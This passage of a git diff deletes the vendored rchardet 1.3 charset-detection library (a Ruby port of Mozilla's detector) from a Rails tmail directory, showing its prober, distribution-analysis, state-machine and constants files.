-13050,13051,13052,13053,13054,13055,13056,13057,13058,13059,13060,13061,13062,13063,13064,13065, #13040
-13066,13067,13068,13069,13070,13071,13072,13073,13074,13075,13076,13077,13078,13079,13080,13081, #13056
-13082,13083,13084,13085,13086,13087,13088,13089,13090,13091,13092,13093,13094,13095,13096,13097, #13072
-13098,13099,13100,13101,13102,13103,13104,13105,13106,13107,13108,13109,13110,13111,13112,13113, #13088
-13114,13115,13116,13117,13118,3968,13119,4995,13120,13121,13122,13123,13124,13125,13126,13127, #13104
-4505,13128,13129,13130,13131,13132,13133,13134,4996,4506,13135,13136,13137,13138,13139,4997, #13120
-13140,13141,13142,13143,13144,13145,13146,13147,13148,13149,13150,13151,13152,13153,13154,13155, #13136
-13156,13157,13158,13159,4998,13160,13161,13162,13163,13164,13165,13166,13167,13168,13169,13170, #13152
-13171,13172,13173,13174,13175,13176,4999,13177,13178,13179,13180,13181,13182,13183,13184,13185, #13168
-13186,13187,13188,13189,13190,13191,13192,13193,13194,13195,13196,13197,13198,13199,13200,13201, #13184
-13202,13203,13204,13205,13206,5000,13207,13208,13209,13210,13211,13212,13213,13214,13215,13216, #13200
-13217,13218,13219,13220,13221,13222,13223,13224,13225,13226,13227,4200,5001,13228,13229,13230, #13216
-13231,13232,13233,13234,13235,13236,13237,13238,13239,13240,3969,13241,13242,13243,13244,3970, #13232
-13245,13246,13247,13248,13249,13250,13251,13252,13253,13254,13255,13256,13257,13258,13259,13260, #13248
-13261,13262,13263,13264,13265,13266,13267,13268,3450,13269,13270,13271,13272,13273,13274,13275, #13264
-13276,5002,13277,13278,13279,13280,13281,13282,13283,13284,13285,13286,13287,13288,13289,13290, #13280
-13291,13292,13293,13294,13295,13296,13297,13298,13299,13300,13301,13302,3813,13303,13304,13305, #13296
-13306,13307,13308,13309,13310,13311,13312,13313,13314,13315,13316,13317,13318,13319,13320,13321, #13312
-13322,13323,13324,13325,13326,13327,13328,4507,13329,13330,13331,13332,13333,13334,13335,13336, #13328
-13337,13338,13339,13340,13341,5003,13342,13343,13344,13345,13346,13347,13348,13349,13350,13351, #13344
-13352,13353,13354,13355,13356,13357,13358,13359,13360,13361,13362,13363,13364,13365,13366,13367, #13360
-5004,13368,13369,13370,13371,13372,13373,13374,13375,13376,13377,13378,13379,13380,13381,13382, #13376
-13383,13384,13385,13386,13387,13388,13389,13390,13391,13392,13393,13394,13395,13396,13397,13398, #13392
-13399,13400,13401,13402,13403,13404,13405,13406,13407,13408,13409,13410,13411,13412,13413,13414, #13408
-13415,13416,13417,13418,13419,13420,13421,13422,13423,13424,13425,13426,13427,13428,13429,13430, #13424
-13431,13432,4508,13433,13434,13435,4201,13436,13437,13438,13439,13440,13441,13442,13443,13444, #13440
-13445,13446,13447,13448,13449,13450,13451,13452,13453,13454,13455,13456,13457,5005,13458,13459, #13456
-13460,13461,13462,13463,13464,13465,13466,13467,13468,13469,13470,4509,13471,13472,13473,13474, #13472
-13475,13476,13477,13478,13479,13480,13481,13482,13483,13484,13485,13486,13487,13488,13489,13490, #13488
-13491,13492,13493,13494,13495,13496,13497,13498,13499,13500,13501,13502,13503,13504,13505,13506, #13504
-13507,13508,13509,13510,13511,13512,13513,13514,13515,13516,13517,13518,13519,13520,13521,13522, #13520
-13523,13524,13525,13526,13527,13528,13529,13530,13531,13532,13533,13534,13535,13536,13537,13538, #13536
-13539,13540,13541,13542,13543,13544,13545,13546,13547,13548,13549,13550,13551,13552,13553,13554, #13552
-13555,13556,13557,13558,13559,13560,13561,13562,13563,13564,13565,13566,13567,13568,13569,13570, #13568
-13571,13572,13573,13574,13575,13576,13577,13578,13579,13580,13581,13582,13583,13584,13585,13586, #13584
-13587,13588,13589,13590,13591,13592,13593,13594,13595,13596,13597,13598,13599,13600,13601,13602, #13600
-13603,13604,13605,13606,13607,13608,13609,13610,13611,13612,13613,13614,13615,13616,13617,13618, #13616
-13619,13620,13621,13622,13623,13624,13625,13626,13627,13628,13629,13630,13631,13632,13633,13634, #13632
-13635,13636,13637,13638,13639,13640,13641,13642,5006,13643,13644,13645,13646,13647,13648,13649, #13648
-13650,13651,5007,13652,13653,13654,13655,13656,13657,13658,13659,13660,13661,13662,13663,13664, #13664
-13665,13666,13667,13668,13669,13670,13671,13672,13673,13674,13675,13676,13677,13678,13679,13680, #13680
-13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,13696, #13696
-13697,13698,13699,13700,13701,13702,13703,13704,13705,13706,13707,13708,13709,13710,13711,13712, #13712
-13713,13714,13715,13716,13717,13718,13719,13720,13721,13722,13723,13724,13725,13726,13727,13728, #13728
-13729,13730,13731,13732,13733,13734,13735,13736,13737,13738,13739,13740,13741,13742,13743,13744, #13744
-13745,13746,13747,13748,13749,13750,13751,13752,13753,13754,13755,13756,13757,13758,13759,13760, #13760
-13761,13762,13763,13764,13765,13766,13767,13768,13769,13770,13771,13772,13773,13774,3273,13775, #13776
-13776,13777,13778,13779,13780,13781,13782,13783,13784,13785,13786,13787,13788,13789,13790,13791, #13792
-13792,13793,13794,13795,13796,13797,13798,13799,13800,13801,13802,13803,13804,13805,13806,13807, #13808
-13808,13809,13810,13811,13812,13813,13814,13815,13816,13817,13818,13819,13820,13821,13822,13823, #13824
-13824,13825,13826,13827,13828,13829,13830,13831,13832,13833,13834,13835,13836,13837,13838,13839, #13840
-13840,13841,13842,13843,13844,13845,13846,13847,13848,13849,13850,13851,13852,13853,13854,13855, #13856
-13856,13857,13858,13859,13860,13861,13862,13863,13864,13865,13866,13867,13868,13869,13870,13871, #13872
-13872,13873,13874,13875,13876,13877,13878,13879,13880,13881,13882,13883,13884,13885,13886,13887, #13888
-13888,13889,13890,13891,13892,13893,13894,13895,13896,13897,13898,13899,13900,13901,13902,13903, #13904
-13904,13905,13906,13907,13908,13909,13910,13911,13912,13913,13914,13915,13916,13917,13918,13919, #13920
-13920,13921,13922,13923,13924,13925,13926,13927,13928,13929,13930,13931,13932,13933,13934,13935, #13936
-13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951, #13952
-13952,13953,13954,13955,13956,13957,13958,13959,13960,13961,13962,13963,13964,13965,13966,13967, #13968
-13968,13969,13970,13971,13972] #13973
-end
-
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5prober.rb
deleted file mode 100755
index 6b6ebccb..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5prober.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-# 
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-# 
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class Big5Prober < MultiByteCharSetProber 
-    def initialize
-      super
-      @_mCodingSM = CodingStateMachine.new(Big5SMModel)
-      @_mDistributionAnalyzer = Big5DistributionAnalysis.new()
-      reset()
-    end
-
-    def get_charset_name
-      return "Big5"
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/chardistribution.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/chardistribution.rb
deleted file mode 100755
index de873a3e..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/chardistribution.rb
+++ /dev/null
@@ -1,238 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-# 
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-# 
-# Contributor(s)
-
-#   Jeff Hodges
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  ENOUGH_DATA_THRESHOLD = 1024
-  SURE_YES = 0.99
-  SURE_NO = 0.01
-
-  class CharDistributionAnalysis
-    def initialize
-      @_mCharToFreqOrder = nil # Mapping table to get frequency order from char order (get from GetOrder())
-      @_mTableSize = nil # Size of above table
-      @_mTypicalDistributionRatio = nil # This is a constant value which varies from language to language, used in calculating confidence.  See http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html for further detail.
-      reset()
-    end
-
-    def reset
-      # # """reset analyser, clear any state"""
-      @_mDone = false # If this flag is set to constants.True, detection is done and conclusion has been made
-      @_mTotalChars = 0 # Total characters encountered
-      @_mFreqChars = 0 # The number of characters whose frequency order is less than 512
-    end
-
-    def feed(aStr, aCharLen)
-      # # """feed a character with known length"""
-      if aCharLen == 2
-        # we only care about 2-bytes character in our distribution analysis
-        order = get_order(aStr)
-      else
-        order = -1
-      end
-      if order >= 0
-        @_mTotalChars += 1
-        # order is valid
-        if order < @_mTableSize
-          if 512 > @_mCharToFreqOrder[order]
-            @_mFreqChars += 1
-          end
-        end
-      end
-    end
-
-    def get_confidence
-      # """return confidence based on existing data"""
-      # if we didn't receive any character in our consideration range, return negative answer
-      if @_mTotalChars <= 0
-        return SURE_NO
-      end
-
-      if @_mTotalChars != @_mFreqChars
-        r = @_mFreqChars / ((@_mTotalChars - @_mFreqChars) * @_mTypicalDistributionRatio)
-        if r < SURE_YES
-          return r
-        end
-      end
-
-      # normalize confidence (we don't want to be 100% sure)
-      return SURE_YES
-    end
-
-    def got_enough_data
-      # It is not necessary to receive all data to draw conclusion. For charset detection,
-      # certain amount of data is enough
-      return @_mTotalChars > ENOUGH_DATA_THRESHOLD
-    end
-
-    def get_order(aStr)
-      # We do not handle characters based on the original encoding string, but 
-      # convert this encoding string to a number, here called order.
-      # This allows multiple encodings of a language to share one frequency table.
-      return -1
-    end
-  end
-
-  class EUCTWDistributionAnalysis < CharDistributionAnalysis
-    def initialize
-      super()
-      @_mCharToFreqOrder = EUCTWCharToFreqOrder
-      @_mTableSize = EUCTW_TABLE_SIZE
-      @_mTypicalDistributionRatio = EUCTW_TYPICAL_DISTRIBUTION_RATIO
-    end
-
-    def get_order(aStr)
-      # for euc-TW encoding, we are interested 
-      #   first  byte range: 0xc4 -- 0xfe
-      #   second byte range: 0xa1 -- 0xfe
-      # no validation needed here. State machine has done that
-      if aStr[0..0] >= "\xC4"
-        return 94 * (aStr[0] - 0xC4) + aStr[1] - 0xA1
-      else
-        return -1
-      end
-    end
-  end
-
-  class EUCKRDistributionAnalysis < CharDistributionAnalysis
-    def initialize
-      super()
-      @_mCharToFreqOrder = EUCKRCharToFreqOrder
-      @_mTableSize = EUCKR_TABLE_SIZE
-      @_mTypicalDistributionRatio = EUCKR_TYPICAL_DISTRIBUTION_RATIO
-    end
-
-    def get_order(aStr)
-      # for euc-KR encoding, we are interested 
-      #   first  byte range: 0xb0 -- 0xfe
-      #   second byte range: 0xa1 -- 0xfe
-      # no validation needed here. State machine has done that
-      if aStr[0..0] >= "\xB0"
-        return 94 * (aStr[0] - 0xB0) + aStr[1] - 0xA1
-      else
-        return -1
-      end
-    end
-  end
-
-  class GB2312DistributionAnalysis < CharDistributionAnalysis
-    def initialize
-      super()
-      @_mCharToFreqOrder = GB2312CharToFreqOrder
-      @_mTableSize = GB2312_TABLE_SIZE
-      @_mTypicalDistributionRatio = GB2312_TYPICAL_DISTRIBUTION_RATIO
-    end
-
-    def get_order(aStr)
-      # for GB2312 encoding, we are interested 
-      #  first  byte range: 0xb0 -- 0xfe
-      #  second byte range: 0xa1 -- 0xfe
-      # no validation needed here. State machine has done that
-      if (aStr[0..0] >= "\xB0") and (aStr[1..1] >= "\xA1")
-        return 94 * (aStr[0] - 0xB0) + aStr[1] - 0xA1
-      else
-        return -1
-      end
-    end
-  end
-
-  class Big5DistributionAnalysis < CharDistributionAnalysis
-    def initialize
-      super
-      @_mCharToFreqOrder = Big5CharToFreqOrder
-      @_mTableSize = BIG5_TABLE_SIZE
-      @_mTypicalDistributionRatio = BIG5_TYPICAL_DISTRIBUTION_RATIO
-    end
-
-    def get_order(aStr)
-      # for big5 encoding, we are interested 
-      #   first  byte range: 0xa4 -- 0xfe
-      #   second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe
-      # no validation needed here. State machine has done that
-      if aStr[0..0] >= "\xA4"
-        if aStr[1..1] >= "\xA1"
-          return 157 * (aStr[0] - 0xA4) + aStr[1] - 0xA1 + 63
-        else
-          return 157 * (aStr[0] - 0xA4) + aStr[1] - 0x40
-        end
-      else
-        return -1
-      end
-    end
-  end
-
-  class SJISDistributionAnalysis < CharDistributionAnalysis
-    def initialize
-      super()
-      @_mCharToFreqOrder = JISCharToFreqOrder
-      @_mTableSize = JIS_TABLE_SIZE
-      @_mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO
-    end
-
-    def get_order(aStr)
-      # for sjis encoding, we are interested 
-      #   first  byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe
-      #   second byte range: 0x40 -- 0x7e,  0x81 -- oxfe
-      # no validation needed here. State machine has done that
-      aStr = aStr[0..1].join if aStr.class == Array
-      if (aStr[0..0] >= "\x81") and (aStr[0..0] <= "\x9F")
-        order = 188 * (aStr[0] - 0x81)
-      elsif (aStr[0..0] >= "\xE0") and (aStr[0..0] <= "\xEF")
-        order = 188 * (aStr[0] - 0xE0 + 31)
-      else
-        return -1
-      end
-      order = order + aStr[1] - 0x40
-      if aStr[1..1] > "\x7F"
-        order =- 1
-      end
-      return order
-    end
-  end
-
-  class EUCJPDistributionAnalysis < CharDistributionAnalysis
-    def initialize
-      super()
-      @_mCharToFreqOrder = JISCharToFreqOrder
-      @_mTableSize = JIS_TABLE_SIZE
-      @_mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO
-    end
-
-    def get_order(aStr)
-      # for euc-JP encoding, we are interested 
-      #   first  byte range: 0xa0 -- 0xfe
-      #   second byte range: 0xa1 -- 0xfe
-      # no validation needed here. State machine has done that
-      if aStr[0..0] >= "\xA0"
-        return 94 * (aStr[0] - 0xA1) + aStr[1] - 0xa1
-      else
-        return -1
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetgroupprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetgroupprober.rb
deleted file mode 100755
index 0feebca5..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetgroupprober.rb
+++ /dev/null
@@ -1,112 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-# 
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-# 
-# Contributor(s)
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class CharSetGroupProber < CharSetProber
-    attr_accessor :_mProbers
-    def initialize
-      super
-      @_mActiveNum = 0
-      @_mProbers = []
-      @_mBestGuessProber = nil
-    end
-
-    def reset
-      super
-      @_mActiveNum = 0
-
-      for prober in @_mProbers
-        if prober
-          prober.reset()
-          prober.active = true
-          @_mActiveNum += 1
-        end
-      end
-      @_mBestGuessProber = nil
-    end
-
-    def get_charset_name
-      if not @_mBestGuessProber
-        get_confidence()
-        return nil unless @_mBestGuessProber
-        #                self._mBestGuessProber = self._mProbers[0]
-      end
-      return @_mBestGuessProber.get_charset_name()
-    end
-
-    def feed(aBuf)
-      for prober in @_mProbers
-        next unless prober
-        next unless prober.active
-        st = prober.feed(aBuf)
-        next unless st
-        if st == EFoundIt
-          @_mBestGuessProber = prober
-          return get_state()
-        elsif st == ENotMe
-          prober.active = false
-          @_mActiveNum -= 1
-          if @_mActiveNum <= 0
-            @_mState = ENotMe
-            return get_state()
-          end
-        end
-      end
-      return get_state()
-    end
-
-    def get_confidence()
-      st = get_state()
-      if st == EFoundIt
-        return 0.99
-      elsif st == ENotMe
-        return 0.01
-      end
-      bestConf = 0.0
-      @_mBestGuessProber = nil
-      for prober in @_mProbers
-        next unless prober
-        unless prober.active
-          $stderr << "#{prober.get_charset_name()} not active\n" if $debug
-          next
-        end
-        cf = prober.get_confidence()
-        $stderr << "#{prober.get_charset_name} confidence = #{cf}\n" if $debug
-        if bestConf < cf
-          bestConf = cf
-          @_mBestGuessProber = prober
-        end
-      end
-      return 0.0 unless @_mBestGuessProber
-      return bestConf
-      #        else
-      #            self._mBestGuessProber = self._mProbers[0]
-      #            return self._mBestGuessProber.get_confidence()
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetprober.rb
deleted file mode 100755
index ce58cacc..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetprober.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-# 
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-# 
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class CharSetProber
-    attr_accessor :active
-    def initialize
-    end
-
-    def reset
-      @_mState = EDetecting
-    end
-
-    def get_charset_name
-      return nil
-    end
-
-    def feed(aBuf)
-    end
-
-    def get_state
-      return @_mState
-    end
-
-    def get_confidence
-      return 0.0
-    end
-
-    def filter_high_bit_only(aBuf)
-      # DO NOT USE `gsub!`
-      # It will remove all characters from the buffer that is later used by
-      # other probers.  This is because gsub! removes data from the instance variable
-      # that will be passed to later probers, while gsub makes a new instance variable
-      # that will not. 
-      newBuf = aBuf.gsub(/([\x00-\x7F])+/, ' ')
-      return newBuf
-    end
-
-    def filter_without_english_letters(aBuf)
-      newBuf = aBuf.gsub(/([A-Za-z])+/,' ')
-      return newBuf
-    end
-
-    def filter_with_english_letters(aBuf)
-      # TODO
-      return aBuf
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/codingstatemachine.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/codingstatemachine.rb
deleted file mode 100755
index 24fda79c..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/codingstatemachine.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class CodingStateMachine
-    def initialize(sm)
-      @_mModel = sm
-      @_mCurrentBytePos = 0
-      @_mCurrentCharLen = 0
-      reset()
-    end
-
-    def reset
-      @_mCurrentState = EStart
-    end
-
-    def next_state(c)
-      # for each byte we get its class
-      # if it is first byte, we also get byte length
-      byteCls = @_mModel['classTable'][c[0]]
-      if @_mCurrentState == EStart
-        @_mCurrentBytePos = 0
-        @_mCurrentCharLen = @_mModel['charLenTable'][byteCls]
-      end
-      # from byte's class and stateTable, we get its next state
-      @_mCurrentState = @_mModel['stateTable'][@_mCurrentState * @_mModel['classFactor'] + byteCls]
-      @_mCurrentBytePos += 1
-      return @_mCurrentState
-    end
-
-    def get_current_charlen
-      return @_mCurrentCharLen
-    end
-
-    def get_coding_state_machine
-      return @_mModel['name']
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/constants.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/constants.rb
deleted file mode 100755
index 156b4af7..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/constants.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Universal charset detector code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 2001
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#   Shy Shalom - original C code
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  $debug = false
-
-  EDetecting = 0
-  EFoundIt = 1
-  ENotMe = 2
-
-  EStart = 0
-  EError = 1
-  EItsMe = 2
-
-  SHORTCUT_THRESHOLD = 0.95
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escprober.rb
deleted file mode 100755
index 288e3eb6..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escprober.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class EscCharSetProber < CharSetProber
-    def initialize
-      super()
-      @_mCodingSM = [ CodingStateMachine.new(HZSMModel),
-                      CodingStateMachine.new(ISO2022CNSMModel),
-                      CodingStateMachine.new(ISO2022JPSMModel),
-                      CodingStateMachine.new(ISO2022KRSMModel)  ]
-      reset()
-    end
-
-    def reset
-      super()
-      for codingSM in @_mCodingSM
-        next if not codingSM
-        codingSM.active = true
-        codingSM.reset()
-      end
-      @_mActiveSM = @_mCodingSM.length
-      @_mDetectedCharset = nil
-    end
-
-    def get_charset_name
-      return @_mDetectedCharset
-    end
-
-    def get_confidence
-      if @_mDetectedCharset
-        return 0.99
-      else
-        return 0.00
-      end
-    end
-
-    def feed(aBuf)
-      aBuf.each_byte do |b|
-        c = b.chr
-        for codingSM in @_mCodingSM
-          next unless codingSM
-          next unless codingSM.active
-          codingState = codingSM.next_state(c)
-          if codingState == EError
-            codingSM.active = false
-            @_mActiveSM -= 1
-            if @_mActiveSM <= 0
-              @_mState = ENotMe
-              return get_state()
-            end
-          elsif codingState == EItsMe
-            @_mState = EFoundIt
-            @_mDetectedCharset = codingSM.get_coding_state_machine()
-            return get_state()
-          end
-        end
-      end
-      return get_state()
-
-    end
-
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escsm.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escsm.rb
deleted file mode 100755
index c1969c68..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/escsm.rb
+++ /dev/null
@@ -1,244 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  HZ_cls = [
-    1,0,0,0,0,0,0,0,  # 00 - 07 
-    0,0,0,0,0,0,0,0,  # 08 - 0f 
